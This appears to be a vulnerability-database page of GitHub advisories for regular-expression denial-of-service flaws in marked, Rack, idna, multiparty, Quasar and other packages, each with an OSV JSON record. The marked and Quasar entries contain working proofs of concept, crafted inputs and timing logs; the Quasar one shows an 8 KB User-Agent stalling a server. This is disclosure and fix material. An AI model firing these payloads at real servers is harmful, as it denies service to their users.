CWE-1333
AllowedInefficient Regular Expression Complexity
Abstraction: Base · Status: Draft
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
886 vulnerabilities reference this CWE, most recent first.
GHSA-5V2H-R2CX-5XGJ
Vulnerability from github – Published: 2022-01-14 21:04 – Updated: 2022-01-14 19:57Impact
What kind of vulnerability is it?
Denial of service.
The regular expression inline.reflinkSearch may cause catastrophic backtracking against some strings.
PoC is the following.
import * as marked from 'marked';
console.log(marked.parse(`[x]: x
\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));
Who is impacted?
Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.
Patches
Has the problem been patched?
Yes
What versions should users upgrade to?
4.0.10
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Do not run untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.
References
Are there any links users can visit to find out more?
- https://marked.js.org/using_advanced#workers
- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
For more information
If you have any questions or comments about this advisory:
- Open an issue in marked
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "marked"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-21681"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-14T19:57:17Z",
"nvd_published_at": "2022-01-14T17:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\n_What kind of vulnerability is it?_\n\nDenial of service.\n\nThe regular expression `inline.reflinkSearch` may cause catastrophic backtracking against some strings.\nPoC is the following.\n\n```javascript\nimport * as marked from \u0027marked\u0027;\n\nconsole.log(marked.parse(`[x]: x\n\n\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](\\\\[\\\\](`));\n```\n\n_Who is impacted?_\n\nAnyone who runs untrusted markdown through marked and does not use a worker with a time limit.\n\n### Patches\n\n_Has the problem been patched?_\n\nYes\n\n_What versions should users upgrade to?_\n\n4.0.10\n\n### Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nDo not run untrusted markdown through marked or run marked on a [worker](https://marked.js.org/using_advanced#workers) thread and set a reasonable time limit to prevent draining resources.\n\n### References\n\n_Are there any links users can visit to find out more?_\n\n- https://marked.js.org/using_advanced#workers\n- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [marked](https://github.com/markedjs/marked)\n",
"id": "GHSA-5v2h-r2cx-5xgj",
"modified": "2022-01-14T19:57:17Z",
"published": "2022-01-14T21:04:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/markedjs/marked/security/advisories/GHSA-5v2h-r2cx-5xgj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21681"
},
{
"type": "WEB",
"url": "https://github.com/markedjs/marked/commit/8f806573a3f6c6b7a39b8cdb66ab5ebb8d55a5f5"
},
{
"type": "WEB",
"url": "https://github.com/markedjs/marked/commit/c4a3ccd344b6929afa8a1d50ac54a721e57012c0"
},
{
"type": "PACKAGE",
"url": "https://github.com/markedjs/marked"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AIXDMC3CSHYW3YWVSQOXAWLUYQHAO5UX"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Inefficient Regular Expression Complexity in marked"
}
GHSA-5X79-W82F-GW8W
Vulnerability from github – Published: 2022-12-13 17:43 – Updated: 2025-11-04 16:41Summary
Certain configurations of rails-html-sanitizer < 1.4.4 use an inefficient regular expression that is susceptible to excessive backtracking when attempting to sanitize certain SVG attributes. This may lead to a denial of service through CPU resource consumption.
Mitigation
Upgrade to rails-html-sanitizer >= 1.4.4.
Severity
The maintainers have evaluated this as High Severity 7.5 (CVSS3.1).
References
- CWE - CWE-1333: Inefficient Regular Expression Complexity (4.9)
- https://hackerone.com/reports/1684163
Credit
This vulnerability was responsibly reported by @ooooooo-q (https://github.com/ooooooo-q).
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rails-html-sanitizer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-23517"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-13T17:43:02Z",
"nvd_published_at": "2022-12-14T17:15:00Z",
"severity": "HIGH"
},
"details": "## Summary\n\nCertain configurations of rails-html-sanitizer `\u003c 1.4.4` use an inefficient regular expression that is susceptible to excessive backtracking when attempting to sanitize certain SVG attributes. This may lead to a denial of service through CPU resource consumption.\n\n\n## Mitigation\n\nUpgrade to rails-html-sanitizer `\u003e= 1.4.4`.\n\n\n## Severity\n\nThe maintainers have evaluated this as [High Severity 7.5 (CVSS3.1)](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\n\n## References\n\n- [CWE - CWE-1333: Inefficient Regular Expression Complexity (4.9)](https://cwe.mitre.org/data/definitions/1333.html)\n- https://hackerone.com/reports/1684163\n\n\n## Credit\n\nThis vulnerability was responsibly reported by @ooooooo-q (https://github.com/ooooooo-q).",
"id": "GHSA-5x79-w82f-gw8w",
"modified": "2025-11-04T16:41:23Z",
"published": "2022-12-13T17:43:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-5x79-w82f-gw8w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23517"
},
{
"type": "WEB",
"url": "https://github.com/rails/rails-html-sanitizer/commit/56c61c0cebd1e493e8ad7bca2a0191609a4a6979"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1684163"
},
{
"type": "PACKAGE",
"url": "https://github.com/rails/rails-html-sanitizer"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rails-html-sanitizer/CVE-2022-23517.yml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/09/msg00012.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00045.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Inefficient Regular Expression Complexity in rails-html-sanitizer"
}
GHSA-62F3-W8QM-86G2
Vulnerability from github – Published: 2024-05-14 15:32 – Updated: 2024-05-14 15:32An issue has been discovered in GitLab CE/EE affecting all versions starting from 16.9 prior to 16.9.7, starting from 16.10 prior to 16.10.5, and starting from 16.11 prior to 16.11.2. A problem with the processing logic for Discord Integrations Chat Messages can lead to a regular expression DoS attack on the server.
{
"affected": [],
"aliases": [
"CVE-2023-6682"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T14:35:29Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 16.9 prior to 16.9.7, starting from 16.10 prior to 16.10.5, and starting from 16.11 prior to 16.11.2. A problem with the processing logic for Discord Integrations Chat Messages can lead to a regular expression DoS attack on the server.",
"id": "GHSA-62f3-w8qm-86g2",
"modified": "2024-05-14T15:32:51Z",
"published": "2024-05-14T15:32:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6682"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2269012"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/434821"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-659M-PX2C-25WJ
Vulnerability from github – Published: 2026-06-09 06:31 – Updated: 2026-07-30 18:29Applications may be vulnerable to a Regular Expression Denial of Service (ReDoS) attack if an attacker is able to provide a pattern which is then directly or indirectly supplied to one of the following methods in AntPathMatcher: match(String pattern, String path), matchStart(String pattern, String path), extractUriTemplateVariables(String pattern, String path).
Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.0.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework:spring-core"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.2.18"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework:spring-core"
},
"ranges": [
{
"events": [
{
"introduced": "6.2.0"
},
{
"fixed": "6.2.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework:spring-core"
},
"ranges": [
{
"events": [
{
"introduced": "6.1.0"
},
{
"last_affected": "6.1.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework:spring-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.3.39"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41848"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T18:29:21Z",
"nvd_published_at": "2026-06-09T05:16:36Z",
"severity": "LOW"
},
"details": "Applications may be vulnerable to a Regular Expression Denial of Service (ReDoS) attack if an attacker is able to provide a pattern which is then directly or indirectly supplied to one of the following methods in AntPathMatcher: match(String pattern, String path), matchStart(String pattern, String path), extractUriTemplateVariables(String pattern, String path).\n\nAffected versions:\nSpring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.",
"id": "GHSA-659m-px2c-25wj",
"modified": "2026-07-30T18:29:22Z",
"published": "2026-06-09T06:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41848"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-framework/commit/12b44f2545a1bec6150c7a05e66092c732597a94"
},
{
"type": "PACKAGE",
"url": "https://github.com/spring-projects/spring-framework"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-framework/releases/tag/v6.2.19"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-framework/releases/tag/v7.0.8"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-41848"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Spring Framework Denial of Service via AntPathMatcher"
}
GHSA-65F5-MFPF-VFHJ
Vulnerability from github – Published: 2023-01-18 18:19 – Updated: 2025-02-13 18:40There is a possible denial of service vulnerability in the Range header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44570.
Versions Affected: >= 1.5.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.2, 3.0.0.1 Impact
Carefully crafted input can cause the Range header parsing component in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that deal with Range requests (such as streaming applications, or applications that serve files) may be impacted. Releases
The fixed releases are available at the normal locations. Workarounds
There are no feasible workarounds for this issue. Patches
To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
2-0-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 2.0 series
2-1-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 2.1 series
2-2-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 2.2 series
3-0-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 3.0 series
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "2.0.9.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0.0"
},
{
"fixed": "2.1.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0.0"
},
{
"fixed": "2.2.6.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0.0"
},
{
"fixed": "3.0.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-44570"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-18T18:19:33Z",
"nvd_published_at": "2023-02-09T20:15:00Z",
"severity": "HIGH"
},
"details": "There is a possible denial of service vulnerability in the Range header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44570.\n\nVersions Affected: \u003e= 1.5.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.2, 3.0.0.1\nImpact\n\nCarefully crafted input can cause the Range header parsing component in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that deal with Range requests (such as streaming applications, or applications that serve files) may be impacted.\nReleases\n\nThe fixed releases are available at the normal locations.\nWorkarounds\n\nThere are no feasible workarounds for this issue.\nPatches\n\nTo aid users who aren\u2019t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n 2-0-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 2.0 series\n 2-1-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 2.1 series\n 2-2-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 2.2 series\n 3-0-Fix-ReDoS-in-Rack-Utils.get_byte_ranges.patch - Patch for 3.0 series",
"id": "GHSA-65f5-mfpf-vfhj",
"modified": "2025-02-13T18:40:02Z",
"published": "2023-01-18T18:19:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44570"
},
{
"type": "WEB",
"url": "https://discuss.rubyonrails.org/t/cve-2022-44570-possible-denial-of-service-vulnerability-in-racks-range-header-parsing/82125"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/releases/tag/v3.0.4.1"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2022-44570.yml"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231208-0010"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5530"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of service via header parsing in Rack"
}
GHSA-65PC-FJ4G-8RJX
Vulnerability from github – Published: 2026-05-19 14:34 – Updated: 2026-07-08 17:35This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as "\u0660" * N or "\u30fb" * N + "\u6f22" utilize the valid_contexto function prior to length rejection, and for high values of N will take a long time to process.
Impact
A specially crafted argument to the idna.encode() function could consume significant resources. This may lead to a denial-of-service.
Patches
Starting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).
Workarounds
Domain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the idna.encode() function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "idna"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45409"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T14:34:32Z",
"nvd_published_at": "2026-06-05T23:16:43Z",
"severity": "MODERATE"
},
"details": "This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.",
"id": "GHSA-65pc-fj4g-8rjx",
"modified": "2026-07-08T17:35:40Z",
"published": "2026-05-19T14:34:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45409"
},
{
"type": "PACKAGE",
"url": "https://github.com/kjd/idna"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix"
}
GHSA-65X3-RW7Q-GX94
Vulnerability from github – Published: 2026-05-18 17:40 – Updated: 2026-05-18 17:40Impact
multiparty@4.2.3 and lower versions are vulnerable to denial of service via regular expression backtracking in the Content-Disposition filename parameter parser. A multipart upload with a long header value containing !filename="1 repeated can cause regex matching to take seconds, blocking the event loop. Any service accepting multipart uploads via multiparty is affected.
Patches
Users should upgrade to multiparty@4.3.0 or higher.
Workarounds
None. Limiting upload sizes at the proxy/gateway layer reduces but does not eliminate the attack surface, since a small ~8 KB header is sufficient to trigger the vulnerable backtracking.
Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.3"
},
"package": {
"ecosystem": "npm",
"name": "multiparty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-8159"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T17:40:10Z",
"nvd_published_at": "2026-05-12T10:16:48Z",
"severity": "HIGH"
},
"details": "### Impact\n\nmultiparty@4.2.3 and lower versions are vulnerable to denial of service via regular expression backtracking in the `Content-Disposition` filename parameter parser. A multipart upload with a long header value containing `!filename=\"1` repeated can cause regex matching to take seconds, blocking the event loop. Any service accepting multipart uploads via multiparty is affected.\n\n### Patches\n\nUsers should upgrade to multiparty@4.3.0 or higher.\n\n### Workarounds\n\nNone. Limiting upload sizes at the proxy/gateway layer reduces but does not eliminate the attack surface, since a small ~8 KB header is sufficient to trigger the vulnerable backtracking.\n\n### Resources\n\n- [OWASP: Regular expression Denial of Service (ReDoS)](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)",
"id": "GHSA-65x3-rw7q-gx94",
"modified": "2026-05-18T17:40:10Z",
"published": "2026-05-18T17:40:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pillarjs/multiparty/security/advisories/GHSA-65x3-rw7q-gx94"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8159"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/pillarjs/multiparty"
},
{
"type": "WEB",
"url": "https://github.com/pillarjs/multiparty/releases/tag/v4.3.0"
},
{
"type": "WEB",
"url": "https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "multiparty vulnerable to ReDoS via filename parsing"
}
GHSA-68JQ-FHCH-4XQ4
Vulnerability from github – Published: 2026-10-07 16:14 – Updated: 2026-10-07 16:14Summary
One unauthenticated request with a crafted User-Agent stalls a Quasar SSR server for seconds.
Quasar auto-installs its Platform plugin on every server-side render, and Platform.parseSSR() feeds the raw, unbounded User-Agent request header into a chain of backtracking regular expressions in getMatch(). One of those patterns contains a greedy capture followed by two unbounded .* scans, so a crafted header costs time proportional to the cube of its length. An 8 KB User-Agent blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline.
Details
Platform is in the autoInstalledPlugins array in ui/src/install-quasar.js, so it is installed unconditionally by app.use(Quasar, ...). The generated SSR entry (app-vite/templates/entry/app.js, called from app-vite/templates/entry/server-entry.js) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (ui/src/plugins/platform/Platform.js):
Platform.parseSSR = ssrContext => {
const ua =
ssrContext.req.headers['user-agent'] ||
ssrContext.req.headers['User-Agent'] ||
''
return { ...client, userAgent: ua, is: getPlatform(ua) }
}
getPlatform() lowercases the string and passes it to getMatch() (ui/src/plugins/platform/Platform.js:23-45), which evaluates an ordered chain of exec() calls. The sixth alternative, at ui/src/plugins/platform/Platform.js:32-34, is the problem:
/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(userAgent)
([\w.]+) is greedy and unbounded, and it is followed by two unbounded .* scans. When the input contains webkit/, many version/ tokens, and no safari/, the pattern can only fail after the engine has tried every combination of "where ([\w.]+) stops" against "which version occurrence the first .* lands on" against "how far the second .* searches for safari". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape.
Measured on the functions loaded verbatim out of ui/src/plugins/platform/Platform.js, cost grows by a factor of eight for every doubling of the header:
UA 3998 B -> 554 ms
UA 7998 B -> 4368 ms fits nginx default large_client_header_buffers 8k
UA 15998 B -> 34995 ms fits Node.js default --max-http-header-size 16k
A same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length.
Client-side rendering is not affected: there getPlatform() only ever sees navigator.userAgent, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network.
PoC
The vulnerable pattern ships in the published package. From node_modules/quasar/dist/quasar.server.prod.js of quasar@2.23.1:
function M(e,t){let n=/(edg|edge|edga|edgios)\/([\w.]+)/.exec(e)||...
||/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(e)||...
I.parseSSR=e=>{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``;
return{...F,userAgent:t,is:P(t)}};
Build the header:
const k = 3200 // filler that maximises the greedy capture
const m = 479 // "version/" tokens for the first .* to land on
const ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m) // 7998 bytes
Server used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package:
import http from 'node:http'
import { Platform } from 'quasar' // resolves to dist/quasar.server.prod.js
http.createServer((req, res) => {
const platform = Platform.parseSSR({ req, res }) // what app.use(Quasar, ...) does
res.end(`<!doctype html><html><body>browser=${platform.is.name}</body></html>`)
}).listen(3100, '127.0.0.1')
Results of driving that server with the 7998-byte header:
[1] BASELINE - normal browser UA
benign UA, GET / status=200 13 ms
benign UA, GET / (2nd) status=200 1 ms
[2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length
same-size benign UA status=200 2 ms
[3] POSITIVE - crafted User-Agent
malicious UA, GET / status=200 4355 ms
[4] POSITIVE - crafted UA against a NON-EXISTENT route
malicious UA, GET /404path status=200 4319 ms
[5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later
attacker (malicious UA) status=200 4329 ms
VICTIM (normal browser, benign UA) status=200 4208 ms
[6] SUSTAINED - 5 attacker requests in flight, victim loads the site
VICTIM during 5-request flood status=200 21646 ms
Step 5 is the part that matters. The victim sends an ordinary request with an ordinary User-Agent and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else's header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability.
Negative control on the library itself. One line changed in the installed node_modules/quasar/dist/quasar.server.prod.js:
- I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}};
+ I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};
Re-running the identical attack against the patched build:
[3] malicious UA, GET / status=200 2 ms was 4355 ms
[4] malicious UA, GET /404path status=200 2 ms was 4319 ms
[5] VICTIM (normal browser) status=200 3 ms was 4208 ms
[6] VICTIM during 5-request flood status=200 2 ms was 21646 ms
Detection of real browsers is unchanged by the cap (chrome 126.0.0.0, platform linux), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else.
The same numbers come out of a server that never touches parseSSR directly and instead boots Quasar the way the generated entry does, letting install-quasar.js run the auto-installed plugin list on its own:
const ssrContext = { req, res }
const app = createSSRApp(RootComponent)
app.use(Quasar, {}, ssrContext)
const html = await renderToString(app, ssrContext)
[3] malicious UA, GET / status=200 4354 ms
[5] VICTIM (normal browser, benign UA) status=200 4269 ms
[6] VICTIM during 5-request flood status=200 21872 ms
[2] same-size benign UA (7998 B) status=200 2 ms
Impact
Uncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both quasar dev -m ssr and quasar build -m ssr. There is no configuration that turns it off, because Platform is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload.
Node.js is single threaded, so the cost is not paid by the attacker's connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB.
Apps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local navigator.userAgent. Static site generation is not affected either, because the ssrContext used there is supplied by the developer rather than by a request.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.23.2"
},
"package": {
"ecosystem": "npm",
"name": "quasar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.23.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106104"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T16:14:31Z",
"nvd_published_at": "2026-10-06T18:16:51Z",
"severity": "HIGH"
},
